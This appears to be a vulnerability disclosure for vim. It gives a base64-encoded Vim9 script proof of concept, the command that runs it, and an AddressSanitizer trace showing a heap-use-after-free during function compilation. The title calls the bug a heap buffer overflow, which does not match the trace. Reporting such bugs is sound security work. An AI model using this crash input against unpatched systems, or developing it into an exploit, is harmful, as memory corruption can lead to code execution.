Description

A Heap-based Buffer Overflow has been found in vim commit a909c48

Proof of Concept

base64 poc
ZGVmIEZpcnN0RnVuY3Rpb24oKQogIGRlZiBTZWNvbmRGdW5jdGlvbihKICA9CiAgIyBOb2lzCiAg
IyBvbmUKICAgCiAgIGVuZGRlZnxCQkJCCmVuZGRlZgojIENvbXBpbGUgYWxsIGZ1bmN0aW9ucwpk
ZWZjb21waWxlCg==

~/fuzzing/vim/fuzz/bin/vim  -u NONE -X -Z -e -s -S ./poc -c :qa!

ASan stack trace:

~/fuzzing/vim/vim/src/vim  -u NONE -X -Z -e -s -S ./poc -c :qa!
=================================================================
==3561571==ERROR: AddressSanitizer: heap-use-after-free on address 0x603000000b95 at pc 0x0000004306f9 bp 0x7ffca7051550 sp 0x7ffca7050d10
READ of size 5 at 0x603000000b95 thread T0
    #0 0x4306f8 in strlen (/home/aidai/fuzzing/vim/vim/src/vim+0x4306f8)
    #1 0xc452e9 in vim_vsnprintf_typval /home/aidai/fuzzing/vim/vim/src/strings.c:2302:16
    #2 0xf75f9a in semsg /home/aidai/fuzzing/vim/vim/src/message.c:809:6
    #3 0xd732d2 in get_function_args /home/aidai/fuzzing/vim/vim/src/userfunc.c:254:3
    #4 0xd87bb1 in define_function /home/aidai/fuzzing/vim/vim/src/userfunc.c:4227:9
    #5 0xdc83eb in compile_nested_function /home/aidai/fuzzing/vim/vim/src/vim9compile.c:879:13
    #6 0xdc83eb in compile_def_function /home/aidai/fuzzing/vim/vim/src/vim9compile.c:2929:14
    #7 0xd92f77 in ex_defcompile /home/aidai/fuzzing/vim/vim/src/userfunc.c:4674:9
    #8 0x6e76ce in do_one_cmd /home/aidai/fuzzing/vim/vim/src/ex_docmd.c:2570:2
    #9 0x6da911 in do_cmdline /home/aidai/fuzzing/vim/vim/src/ex_docmd.c:993:17
    #10 0xb6761a in do_source /home/aidai/fuzzing/vim/vim/src/scriptfile.c:1423:5
    #11 0xb6538f in cmd_source /home/aidai/fuzzing/vim/vim/src/scriptfile.c:985:14
    #12 0x6e76ce in do_one_cmd /home/aidai/fuzzing/vim/vim/src/ex_docmd.c:2570:2
    #13 0x6da911 in do_cmdline /home/aidai/fuzzing/vim/vim/src/ex_docmd.c:993:17
    #14 0xf61d73 in exe_commands /home/aidai/fuzzing/vim/vim/src/main.c:3080:2
    #15 0xf61d73 in vim_main2 /home/aidai/fuzzing/vim/vim/src/main.c:774:2
    #16 0xf5e59f in main /home/aidai/fuzzing/vim/vim/src/main.c:426:12
    #17 0x7ff9888c10b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16
    #18 0x41dacd in _start (/home/aidai/fuzzing/vim/vim/src/vim+0x41dacd)

0x603000000b95 is located 21 bytes inside of 26-byte region [0x603000000b80,0x603000000b9a)
freed by thread T0 here:
    #0 0x495f8d in free (/home/aidai/fuzzing/vim/vim/src/vim+0x495f8d)
    #1 0x4c69c3 in vim_free /home/aidai/fuzzing/vim/vim/src/alloc.c:619:2
    #2 0xd87bb1 in define_function /home/aidai/fuzzing/vim/vim/src/userfunc.c:4227:9
    #3 0xdc83eb in compile_nested_function /home/aidai/fuzzing/vim/vim/src/vim9compile.c:879:13
    #4 0xdc83eb in compile_def_function /home/aidai/fuzzing/vim/vim/src/vim9compile.c:2929:14
    #5 0xd92f77 in ex_defcompile /home/aidai/fuzzing/vim/vim/src/userfunc.c:4674:9

previously allocated by thread T0 here:
    #0 0x49620d in malloc (/home/aidai/fuzzing/vim/vim/src/vim+0x49620d)
    #1 0x4c5d15 in lalloc /home/aidai/fuzzing/vim/vim/src/alloc.c:244:11

SUMMARY: AddressSanitizer: heap-use-after-free (/home/aidai/fuzzing/vim/vim/src/vim+0x4306f8) in strlen
Shadow bytes around the buggy address:
  0x0c067fff8120: fa fa 00 00 00 02 fa fa 00 00 00 01 fa fa 00 00
  0x0c067fff8130: 07 fa fa fa 00 00 04 fa fa fa 00 00 00 01 fa fa
  0x0c067fff8140: 00 00 00 fa fa fa 00 00 00 fa fa fa fd fd fd fa
  0x0c067fff8150: fa fa 00 00 00 02 fa fa 00 00 00 fa fa fa fd fd
  0x0c067fff8160: fd fd fa fa 00 00 00 fa fa fa 00 00 00 fa fa fa
=>0x0c067fff8170: fd fd[fd]fd fa fa 00 00 00 fa fa fa 00 00 00 fa
  0x0c067fff8180: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c067fff8190: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c067fff81a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c067fff81b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c067fff81c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
  Shadow gap:              cc
==3561571==ABORTING